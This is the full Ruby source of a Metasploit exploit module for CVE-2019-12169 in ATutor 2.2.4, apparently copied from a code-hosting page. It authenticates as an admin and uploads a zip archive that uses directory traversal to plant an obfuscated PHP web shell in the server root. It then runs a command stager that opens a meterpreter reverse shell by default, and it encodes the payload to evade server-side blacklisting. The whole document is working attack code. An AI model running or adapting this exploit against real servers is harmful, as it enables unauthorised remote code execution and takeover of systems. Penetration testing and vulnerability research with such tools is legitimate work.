Path: blob/master/modules/exploits/multi/http/atutor_upload_traversal.rb
32534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::CmdStager9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution,',17'Description' => %q{18This module exploits an arbitrary file upload vulnerability together with19a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in20order to execute arbitrary commands.2122It first creates a zip archive containing a malicious PHP file. The zip23archive takes advantage of a directory traversal vulnerability that will24cause the PHP file to be dropped in the root server directory (`htdocs`25for Windows and `html` for Linux targets). The PHP file contains an26encoded payload that allows for remote command execution on the27target server. The zip archive can be uploaded via two vectors, the28`Import New Language` function and the `Patcher` function. The module29first uploads the archive via `Import New Language` and then attempts to30execute the payload via an HTTP GET request to the PHP file in the root31server directory. If no session is obtained, the module creates another32zip archive and attempts exploitation via `Patcher`.3334Valid credentials for an ATutor admin account are required. This module35has been successfully tested against ATutor 2.2.4 running on Windows 1036(XAMPP server).37},38'License' => MSF_LICENSE,39'Author' => [40'liquidsky (JMcPeters)', # PoC41'Erik Wynter' # @wyntererik - Metasploit42],43'References' => [44['CVE', '2019-12169'],45['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC46],47'Targets' => [48[ 'Auto', {} ],49[50'Linux', {51'Arch' => [ARCH_X86, ARCH_X64],52'Platform' => 'linux',53'CmdStagerFlavor' => :printf,54'DefaultOptions' => {55'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'56}57}58],59[60'Windows', {61'Arch' => [ARCH_X86, ARCH_X64],62'Platform' => 'win',63'CmdStagerFlavor' => :vbs,64'DefaultOptions' => {65'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'66}67}68]69],70'Privileged' => true,71'DisclosureDate' => '2019-05-17',72'DefaultOptions' => {73'RPORT' => 80,74'SSL' => false,75'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`76},77'DefaultTarget' => 0,78'Notes' => {79'Stability' => [CRASH_SAFE],80'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],81'Reliability' => []82}83)84)8586register_options [87OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),88OptString.new('USERNAME', [true, 'Username to authenticate with', '']),89OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),90OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])91]92end9394def select_target(res)95unless res.headers.include? 'Server'96print_warning('Could not detect target OS.')97return98end99100# The ATutor documentation recommends installing it on a XAMPP server.101# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below102# Apache probably supports more OS keys, which can be added to the array103target_os = res.headers['Server'].split('(')[1].split(')')[0]104105fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os106107case target_os108when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'109@my_target = targets[1]110when 'Win32', 'Win64'111@my_target = targets[2]112else113fail_with(Failure::NoTarget, 'No valid target for target OS')114end115116print_good("Identified the target OS as #{target_os}.")117end118119def check120vprint_status('Running check')121res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))122123unless res124return CheckCode::Unknown('Connection failed')125end126127unless res.code == 302 && res.body.include?('content="ATutor')128return CheckCode::Safe('Target is not an ATutor application.')129end130131res = login132unless res133return CheckCode::Unknown('Authentication failed')134end135136unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')137return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')138end139140print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")141142ver_no = nil143html = res.get_html_document144info = html.search('dd')145info.each do |dd|146if dd.text.include?('Version')147/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text148end149end150151@version = ver_no152unless @version && !@version.to_s.empty?153return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')154end155156@version = Rex::Version.new(@version)157unless @version <= Rex::Version.new('2.4')158return CheckCode::Unknown("Target is ATutor with version #{@version}.")159end160161CheckCode::Appears("Target is ATutor with version #{@version}.")162end163164def login165hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])166@token = Rex::Text.rand_text_alpha_lower(5..8)167hashed_pass << @token168hash_final = Rex::Text.sha1(hashed_pass)169170res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))171return unless res172173res = send_request_cgi(174'method' => 'POST',175'uri' => normalize_uri(target_uri.path, 'login.php'),176'vars_post' =>177{178'form_login_action' => 'true',179'form_login' => datastore['USERNAME'],180'form_password' => '',181'form_password_hidden' => hash_final,182'token' => @token,183'submit' => 'Login'184}185)186187return unless res188189# from exploits/multi/http/atutor_sqli190if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/191@cookie = "ATutorID=#{Regexp.last_match(4)};"192else193@cookie = res.get_cookies194end195196redirect = URI(res.headers['Location'])197res = send_request_cgi({198'method' => 'GET',199'uri' => normalize_uri(target_uri.path, redirect),200'cookie' => @cookie201})202203res204end205206def patcher_csrf_token(upload_url)207res = send_request_cgi({208'method' => 'GET',209'uri' => upload_url,210'cookie' => @cookie211})212213unless res && (res.code == 200 || res.code == 302)214fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')215end216217html = res.get_html_document218csrf_token = html.at('input[@name="csrftoken"]')219csrf_token = csrf_token['value'] if csrf_token220221max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')222max_file_size = max_file_size['value'] if max_file_size223224unless csrf_token && csrf_token.to_s.strip != ''225csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token226end227228unless max_file_size && max_file_size.to_s.strip != ''229max_file_size = '52428800' # this seems to be the default value230end231232return csrf_token, max_file_size233end234235def create_zip_and_upload(exploit)236@pl_file = Rex::Text.rand_text_alpha_lower(6..10)237@pl_file << '.php'238register_file_for_cleanup(@pl_file)239@header = Rex::Text.rand_text_alpha_upper(4)240@pl_command = Rex::Text.rand_text_alpha_lower(6..10)241# encoding is necessary to evade blacklisting on server side242@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")243244if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?245@traversal_path = datastore['FILE_TRAVERSAL_PATH']246elsif @my_target['Platform'] == 'linux'247@traversal_path = '../../../../../../var/www/html/'248else249# The ATutor documentation recommends Windows users to use a XAMPP server.250@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'251end252253@traversal_path = "#{@traversal_path}#{@pl_file}"254255# create zip file256zip_file = Rex::Zip::Archive.new257zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")258zip_name = Rex::Text.rand_text_alpha_lower(5..8)259zip_name << '.zip'260261post_data = Rex::MIME::Message.new262263# select exploit method264if exploit == 'language'265print_status('Attempting exploitation via the `Import New Language` function.')266upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')267268post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")269post_data.add_part('Import', nil, nil, 'form-data; name="submit"')270elsif exploit == 'patcher'271print_status('Attempting exploitation via the `Patcher` function.')272upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')273274patch_info = patcher_csrf_token(upload_url)275csrf_token = patch_info[0]276max_file_size = patch_info[1]277278post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')279post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')280post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")281post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')282post_data.add_part('1', nil, nil, 'form-data; name="uploading"')283else284fail_with(Failure::Unknown, 'An error occurred.')285end286287res = send_request_cgi({288'method' => 'POST',289'uri' => upload_url,290'ctype' => "multipart/form-data; boundary=#{post_data.bound}",291'cookie' => @cookie,292'headers' => {293'Accept-Encoding' => 'gzip,deflate',294'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"295},296'data' => post_data.to_s297})298299unless res300fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')301end302303unless res.code == 200 || res.code == 302304fail_with(Failure::Unknown, 'Failed to upload the payload.')305end306print_status("Uploaded malicious PHP file #{@pl_file}.")307end308309def execute_command(cmd, _opts = {})310send_request_cgi({311'method' => 'GET',312'uri' => normalize_uri(@pl_file),313'cookie' => @cookie,314'vars_get' => { @pl_command => cmd }315})316end317318def exploit319res = login320if target.name == 'Auto'321select_target(res)322else323@my_target = target324end325326# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function327# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`328create_zip_and_upload('language')329print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")330331if @my_target['Platform'] == 'linux'332execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')333else334execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])335end336sleep(wfs_delay)337338# The only way to know whether or not the exploit succeeded, is by checking if a session was created339unless session_created?340print_warning('Failed to obtain a session when exploiting `Import New Language`.')341create_zip_and_upload('patcher')342print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")343if @my_target['Platform'] == 'linux'344execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')345else346execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])347end348end349end350end351352353